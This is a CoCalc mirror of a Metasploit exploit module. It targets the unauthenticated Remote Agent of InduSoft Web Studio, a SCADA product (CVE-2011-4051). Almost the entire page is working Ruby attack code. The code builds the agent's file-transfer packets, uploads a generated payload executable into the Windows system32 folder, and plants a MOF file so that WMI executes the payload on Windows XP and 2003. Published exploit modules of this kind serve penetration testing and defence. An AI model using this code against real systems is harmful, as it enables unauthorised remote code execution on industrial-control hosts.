Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/indusoft_webstudio_exec.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::EXE
11
include Msf::Exploit::WbemExec
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'InduSoft Web Studio Arbitrary Upload Remote Code Execution',
18
'Description' => %q{
19
This module exploits a lack of authentication and authorization on the InduSoft
20
Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to
21
the filesystem, by abusing the functions provided by the software.
22
23
The module uses the Windows Management Instrumentation service to execute an
24
arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre
25
Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows
26
XP SP3 and Windows 2003 SP2.
27
},
28
'Author' => [
29
'Luigi Auriemma', # Vulnerability Discovery
30
'juan vazquez' # Metasploit module
31
],
32
'License' => MSF_LICENSE,
33
'References' => [
34
[ 'CVE', '2011-4051' ],
35
[ 'OSVDB', '77179' ],
36
[ 'BID', '50675' ],
37
[ 'ZDI', '11-330' ]
38
],
39
'Privileged' => true,
40
'Payload' => {
41
'BadChars' => "",
42
},
43
'Platform' => 'win',
44
'Targets' => [
45
[ 'Windows XP / 2003', {} ],
46
],
47
'DefaultTarget' => 0,
48
'DisclosureDate' => '2011-11-04',
49
'Notes' => {
50
'Reliability' => UNKNOWN_RELIABILITY,
51
'Stability' => UNKNOWN_STABILITY,
52
'SideEffects' => UNKNOWN_SIDE_EFFECTS
53
}
54
)
55
)
56
57
register_options([Opt::RPORT(4322)])
58
end
59
60
def check
61
connect
62
63
# Get Application version
64
data = [0x14].pack("C")
65
sock.put(data)
66
app_info = sock.get_once
67
disconnect
68
69
if app_info =~ /InduSoft Web Studio v6\.1/
70
return Exploit::CheckCode::Appears
71
elsif app_info =~ /InduSoft Web Studio/
72
return Exploit::CheckCode::Detected
73
end
74
75
return Exploit::CheckCode::Safe
76
end
77
78
def upload_file(filename, my_payload)
79
connect
80
81
# Get Application version
82
data = [0x14].pack("C")
83
sock.put(data)
84
app_info = sock.get_once
85
if app_info !~ /InduSoft Web Studio/
86
print_error("#{@peer} - InduSoft Web Sutio hasn't been detected, trying to exploit anyway...")
87
end
88
89
# Get Operating System
90
data = [0x13].pack("C")
91
sock.put(data)
92
os_info = sock.get_once
93
if os_info !~ /WINXP/ and os_info !~ /WIN2K3/
94
print_error("#{@peer} - Exploitation through Windows Management Instrumentation service only works on windows pre-vista system, trying to exploit anyway...")
95
end
96
97
# Upload file
98
99
data = "\x02\x37" # Command => Select destination
100
data << [my_payload.length].pack("V") # Data length
101
data << "#{filename}" # File name to upload
102
data << "\x09\x00\x30\x00\x00\x00"
103
data << "\x10\x03" # End of packet
104
105
# The data must be split on 1024 length chunks
106
offset = 0 # Data to send
107
count = 1 # Number of chunks sent
108
groups = 0 # Data must be sent in groups of 50 chunks
109
110
chunk = my_payload[offset, 1024]
111
112
while not chunk.nil?
113
114
# If there is a group of chunks, send it
115
if count % 51 == 0
116
117
data << "\x02\x2c" # Command => Send group of chunks
118
my_count = [count].pack("V") # Number of chunks
119
data << my_count.gsub(/\x10/, "\x10\x10")
120
data << "\x10\x03" # End of packet
121
122
sock.put(data)
123
res = sock.get_once
124
if res !~ /\x02\x06\x10\x03/
125
return res
126
end
127
128
count = count + 1
129
groups = groups + 1
130
data = ""
131
132
end
133
134
pkt = [ 0x02, 0x2e ].pack("C*") # Command => Chunk Data
135
my_count = [count].pack("V")
136
pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
137
pkt << [chunk.length].pack("V").gsub(/\x10/, "\x10\x10") # Chunk Data length
138
pkt << chunk.gsub(/\x10/, "\x10\x10") # Chunk Data
139
pkt << "\x10\x03" # End of packet
140
141
data << pkt
142
offset = (count - groups) * 1024
143
chunk = my_payload[offset, 1024]
144
count = count + 1
145
end
146
147
pkt = [ 0x02, 0x03].pack("C*") # Command => End of File
148
my_count = [count].pack("V")
149
pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
150
pkt << rand_text_alpha(8) # LastWriteTime
151
pkt << rand_text_alpha(8) # LastAccessTime
152
pkt << rand_text_alpha(8) # CreationTime
153
pkt << "\x20\x00\x00\x00" # FileAttributes => FILE_ATTRIBUTE_ARCHIVE (0x20)
154
pkt << rand_text_alpha(1)
155
pkt << "\x10\x03" # End of packet
156
data << pkt
157
158
sock.put(data)
159
res = sock.get_once
160
disconnect
161
162
return res
163
end
164
165
def exploit
166
@peer = "#{rhost}:#{rport}"
167
168
exe = generate_payload_exe
169
exe_name = rand_text_alpha(rand(10) + 5) + '.exe'
170
171
mof_name = rand_text_alpha(rand(10) + 5) + '.mof'
172
mof = generate_mof(mof_name, exe_name)
173
174
print_status("#{@peer} - Uploading the exe payload to C:\\WINDOWS\\system32\\#{exe_name}")
175
res = upload_file("C:\\WINDOWS\\system32\\#{exe_name}", exe)
176
if res =~ /\x02\x06\x10\x03/
177
print_good "#{@peer} - The exe payload has been uploaded successfully"
178
else
179
print_error "#{@peer} - Error uploading the exe payload"
180
return
181
end
182
183
print_status("#{@peer} - Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}")
184
res = upload_file("c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
185
if res =~ /\x02\x06\x10\x03/
186
print_good "#{@peer} - The mof file has been uploaded successfully"
187
else
188
print_error "#{@peer} - Error uploading the mof file"
189
return
190
end
191
end
192
end
193
194